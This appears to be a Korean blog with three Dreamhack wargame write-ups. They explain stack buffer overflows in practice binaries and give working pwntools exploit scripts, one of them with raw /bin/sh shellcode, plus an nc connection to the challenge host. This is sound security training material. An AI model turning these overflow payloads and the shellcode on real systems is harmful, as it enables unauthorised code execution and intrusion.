728x90

버퍼오버플로우 문제다.

조건에 NX 비트가 설정되어 있다.

NX 비트는 프로세서 명령어나 코드 또는 데이터 저장을 위한 메모리 영역을 따로 분리하는 CPU의 기술이다. 스택에서 쉘 코드를 저장 후 리턴하는 방식으론 명령을 실행할 수 없다.

read_flag 함수를 호출하면 system("cat /flag") 명령을 수행하기에 flag를 볼 수 있다. 따라서 read_flag 함수의 주소로 리턴주소를 덮어쓰면 된다. gdb로 찾은 결과 read_flag 함수의 주소는 0x80485b9이다.

main 함수 어셈블리 코드는 다음과 같다.

스택의 구조는 다음과 같음을 알 수 있다.

buf ebp retn

gets 함수는 버퍼오버플로우 취약점이 있다. 입력값의 크기에 제한이 없다.

따라서 128 bytes(buf) + 4 bytes(ebp)를 dummy로 채우고 retn주소에 \xb9\x85\x04\x08을 넣음으로써 payload를 완성한다.

from pwn import *

p=remote('host3.dreamhack.games',17136)

payload= b'A'*132 + p32(0x80485b9)

p.send(payload)

p.interactive()

728x90

'dreamhack > System Hacking' 카테고리의 다른 글

basic_exploitation_000  (0) 2023.02.14
welcome  (0) 2023.02.12
728x90

버퍼오버플로우란?

버퍼의 크기를 넘는 값을 입력하여 리턴주소를 조작하는 공격이다.

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

buf 크기는 128 bytes인데 141 bytes를 입력받고 있다. 따라서 버퍼오버플로우 공격이 가능하다.

파이썬 코드로 공격을 수행한다. pwntools라는 라이브러리를 사용한다.

from pwn import *

p=remote('host3.dreamhack.games',17617) #host3.dreamhack.games의 17617포트에 연결한다.

p.recvuntil(b'buf = (') #buf = ( 까지 읽어들임

buf_addr=int(p.recv(10),16) # 10자리 문자열(buf 주소) 읽어들인 후 16진수로 변환

# 쉘 코드(26 bytes)+임의의 문자 106개
sh=b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'+b'A'*106

sh+=p32(buf_addr) # 리턴 주소를 버퍼의 주소로 덮어쓰기 위함. p32는 리틀엔디안으로 바이트 형식 데이터 반환

p.send(sh) # payload 송신

p.interactive() # 연결 지속

일반적으로 스택 구조는 buf+ebp+리턴주소다.

쉘 코드(26 bytes) + "A"*106 + \x12\x34\x56\x78 형식의 payload가 완성된다.

"A"*106인 이유는 buf의 크기 102(128-26)+4(ebp) 때문이다.

리턴주소를 버퍼의 시작주소로 함으로써 쉘 코드의 위치로 쉘 코드가 리턴되어 실행된다.

728x90

'dreamhack > System Hacking' 카테고리의 다른 글

basic_exploitation_001  (0) 2023.02.14
welcome  (0) 2023.02.12
728x90
#include <stdio.h>

int main(void) {
    
    FILE *fp;
    char buf[0x80] = {};
    size_t flag_len = 0;

    printf("Welcome To DreamHack Wargame!\n");

    fp = fopen("/flag", "r");  // /flag 파일 오픈
    fseek(fp, 0, SEEK_END);  //파일 끝으로 이동
    flag_len = ftell(fp);  //파일 내용 길이 저장
    fseek(fp, 0, SEEK_SET); //파일 시작 위치로 이동
    fread(buf, 1, flag_len, fp);  //파일 내용 끝까지 읽음
    fclose(fp);  //읽기 종료

    printf("FLAG : ");

    fwrite(buf, 1, flag_len, stdout);  //파일 내용 화면에 출력
}

linux에서 문제에 주어진 nc 명령을 그대로 입력한다.

nc host3.dreamhack.games 9048

nc는 netcat의 약자로 통신할 때 사용한다. 연결하자마자 FLAG가 출력된다.

728x90

'dreamhack > System Hacking' 카테고리의 다른 글

basic_exploitation_001  (0) 2023.02.14
basic_exploitation_000  (0) 2023.02.14

+ Recent posts